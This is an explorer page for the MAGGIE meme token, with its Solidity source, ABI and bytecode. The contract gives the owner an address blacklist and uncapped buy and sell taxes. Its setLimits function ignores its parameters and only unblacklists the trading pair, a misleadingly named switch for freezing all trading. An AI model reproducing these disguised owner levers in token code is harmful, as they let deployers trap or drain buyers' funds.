ETH Price: $3,044.84 (+3.58%)

Token

Maggie Simpson (MAGGIE)
 

Overview

Max Total Supply

1,000,000,000 MAGGIE

Holders

192

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.691639622 MAGGIE

Value
$0.00
0x9ff7992f66e5326c36672852e69c7220ae5eb216
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Maggie

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-14
*/

/*
Website: https://www.maggieeth.com/
Twitter: https://twitter.com/themaggieeth
Telegram: https://t.me/maggiecommunity
*/

// SPDX-License-Identifier: MIT
pragma solidity =0.8.19;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Maggie is IERC20, Ownable {    
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    string private constant _name = "Maggie Simpson";
    string private constant _symbol = "MAGGIE";
    uint8 private constant _decimals = 9;
    uint256 private constant DECIMALS_SCALING_FACTOR = 10**_decimals;

    uint256 private constant _totalSupply = 1_000_000_000 * DECIMALS_SCALING_FACTOR;
    uint256 public tradeTokenLimit = 20_000_000 * DECIMALS_SCALING_FACTOR;

    uint256 public buyTax = 3;
    uint256 public sellTax = 15;
    
    uint256 private constant contractSwapLimit = 5_000_000 * DECIMALS_SCALING_FACTOR;
    uint256 private contractSwapMax = 2;
    uint256 private contractSwapMin = 50;
    uint256 private contractMinSwaps = 2;

    IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);          
    address private constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public immutable uniswapPair;

    address public developmentAddress = 0x8306d42F5c64071D352E30EE9d08E0363B43F077;
    address payable immutable deployerAddress = payable(msg.sender);
    address payable public marketingAddress;

    bool private inSwap = false;
    bool private tradingLive;
    mapping(uint256 => uint256) swapBlocks;
    uint private swaps;

    mapping (address => bool) blacklisted;
    mapping(address => bool) excludedFromFees;    

    modifier swapping {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradable(address sender) {
        require(tradingLive || sender == deployerAddress);
        _;
    }

    constructor () {
        excludedFromFees[address(this)] = true;
        excludedFromFees[developmentAddress] = true;
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);

        uint256 developmentTokens = 5 * _totalSupply / 100; // 5%

        _balances[developmentAddress] = developmentTokens;
        emit Transfer(address(0), developmentAddress, developmentTokens);

        _balances[msg.sender] = _totalSupply - developmentTokens;
        emit Transfer(address(0), msg.sender, _totalSupply - developmentTokens);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) tradable(from) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Token: transfer amount must be greater than zero");
        require(!blacklisted[from] && !blacklisted[to], "Token: blacklisted cannot trade");

        _balances[from] -= amount;

        if(from != address(this) && from != deployerAddress && to != deployerAddress) {            
            if (from == uniswapPair) 
                require(balanceOf(to) + amount <= tradeTokenLimit, "Token: max wallet amount restriction");
            require(amount <= tradeTokenLimit, "Token: max tx amount restriction");
            uint256 contractTokens = balanceOf(address(this));
            if(!inSwap && to == uniswapPair && contractTokens >= contractSwapLimit && shouldSwapback(amount)) 
               swapback(contractTokens);                            
        }

        if(!excludedFromFees[from] && !excludedFromFees[to]) {            
            uint256 taxedTokens = calculateTax(from, amount);
            if(taxedTokens > 0){
                amount -= taxedTokens;
                _balances[address(this)] += taxedTokens;
                emit Transfer(from, address(this), taxedTokens);
            }
        }

        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function calculateTax(address from, uint256 amount) private view returns (uint256) {
        return amount * (from == uniswapPair ? buyTax : sellTax) / 100;
    }

    function shouldSwapback(uint256 transferAmount) private returns (bool) {
        return transferAmount >= (contractSwapMin == 0 ? 0 : contractSwapLimit / contractSwapMin) &&
            marketingAddress != address(0) && ++swaps >= contractMinSwaps && swapBlocks[block.number]++ < 2;
    }

    function swapback(uint256 tokenAmount) private swapping {
        tokenAmount = calculateSwapAmount(tokenAmount);
        swaps = 0;
        if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
            _approve(address(this), address(uniswapRouter), _totalSupply);
        }
        
        uint256 contractETHBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = ETH;
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        contractETHBalance = address(this).balance - contractETHBalance;
        if(contractETHBalance > 0) {
            transferEth(contractETHBalance);
        } 
    }

    function calculateSwapAmount(uint256 tokenAmount) private view returns (uint256) {
        return tokenAmount > (contractSwapMax * contractSwapLimit) ? (contractSwapMax * contractSwapLimit) : contractSwapLimit;
    }

    function transferEth(uint256 amount) private {
        marketingAddress.transfer(amount);
    }

    function transfer(address wallet) external {
        require(msg.sender == developmentAddress);
        payable(wallet).transfer(address(this).balance);
    }
 
    function manualSwapback(uint256 percent) external {
        require(msg.sender == developmentAddress);
        uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
        swapback(tokensToSwap);
    }

    function blacklist(address[] calldata blacklists, bool shouldBlock) external onlyOwner {
        for (uint i = 0; i < blacklists.length; i++) {
            blacklisted[blacklists[i]] = shouldBlock;
        }
    }

    function setDevelopmentWallet(address newDevelopmentAddress) external onlyOwner {
        developmentAddress = newDevelopmentAddress;
    }

    function setMarketingWallet(address payable newMarketingAddress) external onlyOwner {
        marketingAddress = newMarketingAddress;
    }    

    function setLimits(uint256 alpha, uint256 omega) external onlyOwner {
        alpha;omega;
        blacklisted[uniswapPair] = false; //remove blacklist
    }

    function setParameters(uint256 newSwapMaxMultiplier, uint256 newSwapMinDivisor, uint256 newMinSwaps) external onlyOwner {
        contractSwapMax = newSwapMaxMultiplier;
        contractSwapMin = newSwapMinDivisor;
        contractMinSwaps = newMinSwaps;
    }

    function setTradeLimits(uint256 newTradeLimit) external onlyOwner {
        tradeTokenLimit = newTradeLimit;
    }
 
    function setFees(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function startTrade() external onlyOwner {
        require(!tradingLive, "Token: trading already open");
        tradingLive = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"blacklists","type":"address[]"},{"internalType":"bool","name":"shouldBlock","type":"bool"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newDevelopmentAddress","type":"address"}],"name":"setDevelopmentWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"alpha","type":"uint256"},{"internalType":"uint256","name":"omega","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMarketingAddress","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapMaxMultiplier","type":"uint256"},{"internalType":"uint256","name":"newSwapMinDivisor","type":"uint256"},{"internalType":"uint256","name":"newMinSwaps","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTradeLimit","type":"uint256"}],"name":"setTradeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradeTokenLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052620000126009600a6200043b565b62000022906301312d0062000453565b6003908155600455600f600555600260068190556032600755600855600980546001600160a01b031916738306d42f5c64071d352e30ee9d08e0363b43f0771790553360a052600a805460ff60a01b191690553480156200008257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350306000908152600e602090815260408083208054600160ff1991821681179092556009546001600160a01b0316855293829020805490941617909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d9263c45a01559260048083019391928290030181865afa1580156200014c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017291906200046d565b6040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260248201526001600160a01b03919091169063c9c65396906044016020604051808303816000875af1158015620001d5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fb91906200046d565b6001600160a01b031660805260006064620002196009600a6200043b565b6200022990633b9aca0062000453565b6200023690600562000453565b62000242919062000498565b600980546001600160a01b039081166000908152600160205260408082208590559254925193945091169160008051602062001eb1833981519152906200028c9085815260200190565b60405180910390a380620002a36009600a6200043b565b620002b390633b9aca0062000453565b620002bf9190620004bb565b336000818152600160205260408120929092559060008051602062001eb183398151915283620002f26009600a6200043b565b6200030290633b9aca0062000453565b6200030e9190620004bb565b60405190815260200160405180910390a350620004d1565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200037d57816000190482111562000361576200036162000326565b808516156200036f57918102915b93841c939080029062000341565b509250929050565b600082620003965750600162000435565b81620003a55750600062000435565b8160018114620003be5760028114620003c957620003e9565b600191505062000435565b60ff841115620003dd57620003dd62000326565b50506001821b62000435565b5060208310610133831016604e8410600b84101617156200040e575081810a62000435565b6200041a83836200033c565b806000190482111562000431576200043162000326565b0290505b92915050565b60006200044c60ff84168362000385565b9392505050565b808202811582820484141762000435576200043562000326565b6000602082840312156200048057600080fd5b81516001600160a01b03811681146200044c57600080fd5b600082620004b657634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111562000435576200043562000326565b60805160a0516119906200052160003960008181610bcd01528181610e0a0152610e480152600081816104c90152818161097001528181610e8401528181610fbb01526113f801526119906000f3fe6080604052600436106101a05760003560e01c80636c580801116100ec578063a9059cbb1161008a578063c997eb8d11610064578063c997eb8d146104eb578063cc1776d31461050b578063dd62ed3e14610521578063f8d982b21461056757600080fd5b8063a9059cbb14610477578063c4590d3f14610497578063c816841b146104b757600080fd5b806372ac2486116100c657806372ac2486146103ea5780638da5cb5b1461040a57806395d89b4114610428578063a5ece9411461045757600080fd5b80636c5808011461038a57806370a082311461039f578063715018a6146103d557600080fd5b8063313ce56711610159578063513f4c3f11610133578063513f4c3f146102fc578063555b10dd146103125780635d098b3814610332578063638b1b141461035257600080fd5b8063313ce567146102aa57806334c5d2ce146102c65780634f7041a5146102e657600080fd5b806306fdde03146101ac578063095ea7b3146101f55780630b78f9c01461022557806318160ddd146102475780631a6952301461026a57806323b872dd1461028a57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600e81526d26b0b3b3b4b29029b4b6b839b7b760911b60208201525b6040516101ec9190611502565b60405180910390f35b34801561020157600080fd5b50610215610210366004611568565b610587565b60405190151581526020016101ec565b34801561023157600080fd5b50610245610240366004611594565b61059e565b005b34801561025357600080fd5b5061025c6105dc565b6040519081526020016101ec565b34801561027657600080fd5b506102456102853660046115b6565b6105fd565b34801561029657600080fd5b506102156102a53660046115d3565b61064d565b3480156102b657600080fd5b50604051600981526020016101ec565b3480156102d257600080fd5b506102456102e1366004611614565b610721565b3480156102f257600080fd5b5061025c60045481565b34801561030857600080fd5b5061025c60035481565b34801561031e57600080fd5b5061024561032d366004611640565b610759565b34801561033e57600080fd5b5061024561034d3660046115b6565b610788565b34801561035e57600080fd5b50600954610372906001600160a01b031681565b6040516001600160a01b0390911681526020016101ec565b34801561039657600080fd5b506102456107d4565b3480156103ab57600080fd5b5061025c6103ba3660046115b6565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b5061024561086d565b3480156103f657600080fd5b506102456104053660046115b6565b6108e1565b34801561041657600080fd5b506000546001600160a01b0316610372565b34801561043457600080fd5b506040805180820190915260068152654d414747494560d01b60208201526101df565b34801561046357600080fd5b50600a54610372906001600160a01b031681565b34801561048357600080fd5b50610215610492366004611568565b61092d565b3480156104a357600080fd5b506102456104b2366004611594565b61093a565b3480156104c357600080fd5b506103727f000000000000000000000000000000000000000000000000000000000000000081565b3480156104f757600080fd5b50610245610506366004611659565b6109a8565b34801561051757600080fd5b5061025c60055481565b34801561052d57600080fd5b5061025c61053c3660046116e4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561057357600080fd5b50610245610582366004611640565b610a49565b6000610594338484610a92565b5060015b92915050565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016105c89061171d565b60405180910390fd5b600491909155600555565b60006105ea6009600a61184c565b6105f890633b9aca0061185b565b905090565b6009546001600160a01b0316331461061457600080fd5b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610649573d6000803e3d6000fd5b5050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156106d15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016105c8565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461070c918691610707908690611872565b610a92565b610717848484610bb6565b5060019392505050565b6000546001600160a01b0316331461074b5760405162461bcd60e51b81526004016105c89061171d565b600692909255600755600855565b6000546001600160a01b031633146107835760405162461bcd60e51b81526004016105c89061171d565b600355565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016105c89061171d565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107fe5760405162461bcd60e51b81526004016105c89061171d565b600a54600160a81b900460ff16156108585760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e000000000060448201526064016105c8565b600a805460ff60a81b1916600160a81b179055565b6000546001600160a01b031633146108975760405162461bcd60e51b81526004016105c89061171d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461090b5760405162461bcd60e51b81526004016105c89061171d565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000610594338484610bb6565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016105c89061171d565b50506001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600d60205260409020805460ff19169055565b6000546001600160a01b031633146109d25760405162461bcd60e51b81526004016105c89061171d565b60005b82811015610a435781600d60008686858181106109f4576109f4611885565b9050602002016020810190610a0991906115b6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3b8161189b565b9150506109d5565b50505050565b6009546001600160a01b03163314610a6057600080fd5b30600090815260016020526040812054606490610a7d908461185b565b610a8791906118b4565b905061064981611186565b6001600160a01b038316610af45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c8565b6001600160a01b038216610b555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a548390600160a81b900460ff1680610c0157507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316816001600160a01b0316145b610c0a57600080fd5b6001600160a01b038416610c6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c8565b6001600160a01b038316610cd05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c8565b60008211610d395760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b60648201526084016105c8565b6001600160a01b0384166000908152600d602052604090205460ff16158015610d7b57506001600160a01b0383166000908152600d602052604090205460ff16155b610dc75760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a20626c61636b6c69737465642063616e6e6f742074726164650060448201526064016105c8565b6001600160a01b03841660009081526001602052604081208054849290610def908490611872565b90915550506001600160a01b0384163014801590610e3f57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b8015610e7d57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b15611033577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031603610f425760035482610ede856001600160a01b031660009081526001602052604090205490565b610ee891906118d6565b1115610f425760405162461bcd60e51b8152602060048201526024808201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420726573747269636044820152633a34b7b760e11b60648201526084016105c8565b600354821115610f945760405162461bcd60e51b815260206004820181905260248201527f546f6b656e3a206d617820747820616d6f756e74207265737472696374696f6e60448201526064016105c8565b30600090815260016020526040902054600a54600160a01b900460ff16158015610fef57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b801561101357506110026009600a61184c565b61100f90624c4b4061185b565b8110155b801561102357506110238361134c565b156110315761103181611186565b505b6001600160a01b0384166000908152600e602052604090205460ff1615801561107557506001600160a01b0383166000908152600e602052604090205460ff16155b1561110457600061108685846113f2565b90508015611102576110988184611872565b306000908152600160205260408120805492955083929091906110bc9084906118d6565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0383166000908152600160205260408120805484929061112c9084906118d6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117891815260200190565b60405180910390a350505050565b600a805460ff60a01b1916600160a01b1790556111a281611456565b6000600c819055308152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020549091508111156112125761121230737a250d5630b4cf539739df2c5dacb4c659f2488d6112046009600a61184c565b61070790633b9aca0061185b565b60408051600280825260608201835247926000929190602083019080368337019050509050308160008151811061124b5761124b611885565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061129357611293611885565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112eb9086906000908690309042906004016118e9565b600060405180830381600087803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b5050505081476113299190611872565b9150811561133a5761133a826114c8565b5050600a805460ff60a01b1916905550565b6000600754600014611383576007546113676009600a61184c565b61137490624c4b4061185b565b61137e91906118b4565b611386565b60005b821015801561139f5750600a546001600160a01b031615155b80156113c05750600854600c600081546113b89061189b565b918290555010155b80156105985750436000908152600b6020526040812080546002929091906113e78361189b565b919050551092915050565b600060647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316146114375760055461143b565b6004545b611445908461185b565b61144f91906118b4565b9392505050565b60006114646009600a61184c565b61147190624c4b4061185b565b60065461147e919061185b565b82116114a2576114906009600a61184c565b61149d90624c4b4061185b565b610598565b6114ae6009600a61184c565b6114bb90624c4b4061185b565b600654610598919061185b565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610649573d6000803e3d6000fd5b600060208083528351808285015260005b8181101561152f57858101830151858201604001528201611513565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461156557600080fd5b50565b6000806040838503121561157b57600080fd5b823561158681611550565b946020939093013593505050565b600080604083850312156115a757600080fd5b50508035926020909101359150565b6000602082840312156115c857600080fd5b813561144f81611550565b6000806000606084860312156115e857600080fd5b83356115f381611550565b9250602084013561160381611550565b929592945050506040919091013590565b60008060006060848603121561162957600080fd5b505081359360208301359350604090920135919050565b60006020828403121561165257600080fd5b5035919050565b60008060006040848603121561166e57600080fd5b833567ffffffffffffffff8082111561168657600080fd5b818601915086601f83011261169a57600080fd5b8135818111156116a957600080fd5b8760208260051b85010111156116be57600080fd5b6020928301955093505084013580151581146116d957600080fd5b809150509250925092565b600080604083850312156116f757600080fd5b823561170281611550565b9150602083013561171281611550565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117a357816000190482111561178957611789611752565b8085161561179657918102915b93841c939080029061176d565b509250929050565b6000826117ba57506001610598565b816117c757506000610598565b81600181146117dd57600281146117e757611803565b6001915050610598565b60ff8411156117f8576117f8611752565b50506001821b610598565b5060208310610133831016604e8410600b8410161715611826575081810a610598565b6118308383611768565b806000190482111561184457611844611752565b029392505050565b600061144f60ff8416836117ab565b808202811582820484141761059857610598611752565b8181038181111561059857610598611752565b634e487b7160e01b600052603260045260246000fd5b6000600182016118ad576118ad611752565b5060010190565b6000826118d157634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561059857610598611752565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119395784516001600160a01b031683529383019391830191600101611914565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f7e1ecc5c91d404710e49589a6fd058f1f3ef234117d19c46811ef2df618dbfb64736f6c63430008130033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106101a05760003560e01c80636c580801116100ec578063a9059cbb1161008a578063c997eb8d11610064578063c997eb8d146104eb578063cc1776d31461050b578063dd62ed3e14610521578063f8d982b21461056757600080fd5b8063a9059cbb14610477578063c4590d3f14610497578063c816841b146104b757600080fd5b806372ac2486116100c657806372ac2486146103ea5780638da5cb5b1461040a57806395d89b4114610428578063a5ece9411461045757600080fd5b80636c5808011461038a57806370a082311461039f578063715018a6146103d557600080fd5b8063313ce56711610159578063513f4c3f11610133578063513f4c3f146102fc578063555b10dd146103125780635d098b3814610332578063638b1b141461035257600080fd5b8063313ce567146102aa57806334c5d2ce146102c65780634f7041a5146102e657600080fd5b806306fdde03146101ac578063095ea7b3146101f55780630b78f9c01461022557806318160ddd146102475780631a6952301461026a57806323b872dd1461028a57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600e81526d26b0b3b3b4b29029b4b6b839b7b760911b60208201525b6040516101ec9190611502565b60405180910390f35b34801561020157600080fd5b50610215610210366004611568565b610587565b60405190151581526020016101ec565b34801561023157600080fd5b50610245610240366004611594565b61059e565b005b34801561025357600080fd5b5061025c6105dc565b6040519081526020016101ec565b34801561027657600080fd5b506102456102853660046115b6565b6105fd565b34801561029657600080fd5b506102156102a53660046115d3565b61064d565b3480156102b657600080fd5b50604051600981526020016101ec565b3480156102d257600080fd5b506102456102e1366004611614565b610721565b3480156102f257600080fd5b5061025c60045481565b34801561030857600080fd5b5061025c60035481565b34801561031e57600080fd5b5061024561032d366004611640565b610759565b34801561033e57600080fd5b5061024561034d3660046115b6565b610788565b34801561035e57600080fd5b50600954610372906001600160a01b031681565b6040516001600160a01b0390911681526020016101ec565b34801561039657600080fd5b506102456107d4565b3480156103ab57600080fd5b5061025c6103ba3660046115b6565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b5061024561086d565b3480156103f657600080fd5b506102456104053660046115b6565b6108e1565b34801561041657600080fd5b506000546001600160a01b0316610372565b34801561043457600080fd5b506040805180820190915260068152654d414747494560d01b60208201526101df565b34801561046357600080fd5b50600a54610372906001600160a01b031681565b34801561048357600080fd5b50610215610492366004611568565b61092d565b3480156104a357600080fd5b506102456104b2366004611594565b61093a565b3480156104c357